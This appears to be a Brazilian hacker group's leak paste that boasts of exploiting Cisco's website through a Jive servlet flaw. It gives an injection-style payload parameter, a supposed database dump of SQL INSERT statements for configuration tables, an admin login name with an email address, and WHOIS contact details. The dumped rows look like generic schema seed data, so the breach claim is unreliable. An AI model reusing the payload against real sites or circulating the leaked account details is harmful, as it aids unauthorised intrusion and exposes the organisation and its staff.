Exploitation of Cisco Security | #FailSecBR

                    $$$$$$$$\       $$\ $$\  $$$$$$\                      $$$$$$$\  $$$$$$$\
                    $$  _____|      \__|$$ |$$  __$$\                     $$  __$$\ $$  __$$\
                    $$ |   $$$$$$\  $$\ $$ |$$ /  \__| $$$$$$\   $$$$$$$\ $$ |  $$ |$$ |  $$ |
                    $$$$$\ \____$$\ $$ |$$ |\$$$$$$\  $$  __$$\ $$  _____|$$$$$$$\ |$$$$$$$  |
                    $$  __|$$$$$$$ |$$ |$$ | \____$$\ $$$$$$$$ |$$ /      $$  __$$\ $$  __$$<
                    $$ |  $$  __$$ |$$ |$$ |$$\   $$ |$$   ____|$$ |      $$ |  $$ |$$ |  $$ |
                    $$ |  \$$$$$$$ |$$ |$$ |\$$$$$$  |\$$$$$$$\ \$$$$$$$\ $$$$$$$  |$$ |  $$ |
                    \__|   \_______|\__|\__| \______/  \_______| \_______|\_______/ \__|  \__|

=================================================================================================================================
					CISCO Security ... are you really sec ?
					Site: www.cisco.com
					Members Login: https://sso.cisco.com/autho/forms/CDClogin.htm (Não loga com os dados postados)
					Payloaded: Category_Id=1 and App_Id=106
					Falha: Jive Servlet Exploitation
					Table: User_Info
					Jive version:  Jive SBS | E-mail:4.5.4.0
=================================================================================================================================

Dumps →

				Create tables: Function | TBL_BY_FUNC

INSERT INTO FUNCTION(Function_Id, Function_Name)
   VALUES(302,'Cisco:CW2000:Config Editor');
INSERT INTO TBL_BY_FUNC(Table_Id,Table_Name,Function_Id)
   VALUES(349, 'CALL_MANAGERS', 2);
INSERT INTO TBL_BY_FUNC(Table_Id,Table_Name,Function_Id)
   VALUES(350, 'CALL_MANAGER_GROUPS', 2);
INSERT INTO TBL_BY_FUNC (Table_Id,Table_Name,Function_Id)
   VALUES (512, 'IGXBPXMGX_SW', 103);
INSERT INTO TBL_BY_FUNC (Table_Id,Table_Name,Function_Id)
   VALUES (1000, 'CFGEDIT_MRU_FILES', 302);
INSERT INTO TBL_BY_FUNC (Table_Id,Table_Name,Function_Id)
   VALUES (1001, 'CFG_JOBS', 302);
INSERT INTO TBL_BY_FUNC (Table_Id,Table_Name,Function_Id)
   VALUES (802, 'RTT_MON_SUP',2);

			Create tables: USER_VIEW_PERMISSION | USER_GROUP_DEF | USER_GROUP_MEMBERSHIP

Insert into TBL_BY_FUNC (Table_Id,Table_Name,Function_Id) VALUES
(1009,'NSHOW_REPORT',106);
Insert into TBL_BY_FUNC (Table_Id,Table_Name,Function_Id) VALUES
(1010,'REPORTID_TO_DEVICEID',106);
Insert into TBL_BY_FUNC (Table_Id,Table_Name,Function_Id) VALUES
(1011,'REPORTID_TO_CMDSETID',106);
Insert into TBL_BY_FUNC (Table_Id,Table_Name,Function_Id) VALUES
(1012,'REPORTID_TO_CMD',106);
Insert into TBL_BY_FUNC (Table_Id,Table_Name,Function_Id) VALUES
(1013,'USER_VIEW_PERMISSION',106);
Insert into TBL_BY_FUNC (Table_Id,Table_Name,Function_Id) VALUES
(1014,'USER_GROUP_DEF',106);
Insert into TBL_BY_FUNC (Table_Id,Table_Name,Function_Id) VALUES
(1015,'USER_GROUP_MEMBERSHIP',106);

=================================================================================================================================
Login: CSCadmin
Password: Not Found !
E-Mail: [email protected]

				Whois Information:
Domain Name.......... cisco.com
  Creation Date........ 1987-05-14
  Registration Date.... 2011-04-06
  Expiry Date.......... 2013-05-16
  Organisation Name.... Cisco Technology, Inc.
  Organisation Address. 170 W. Tasman Drive
  Organisation Address.
  Organisation Address.
  Organisation Address. San Jose
  Organisation Address. 95134
  Organisation Address. CA
  Organisation Address. UNITED STATES

Admin Name........... Info Sec
  Admin Address........ 170 West Tasman Drive
  Admin Address........
  Admin Address........
  Admin Address. San Jose
  Admin Address........ 95134
  Admin Address........ CA
  Admin Address........ UNITED STATES
  Admin Email.......... [email protected]
  Admin Phone.......... +1.4085273842
  Admin Fax............ +1.4085264575

Tech Name............ Network Services
  Tech Address......... 170 W. Tasman Drive
  Tech Address.........
  Tech Address.........
  Tech Address......... San Jose
  Tech Address......... 95134
  Tech Address......... CA
  Tech Address......... UNITED STATES
  Tech Email........... [email protected]
  Tech Phone........... +1.4085279223
  Tech Fax............. +1.4085267373
  Name Server.......... NS1.CISCO.COM
  Name Server.......... NS2.CISCO.COM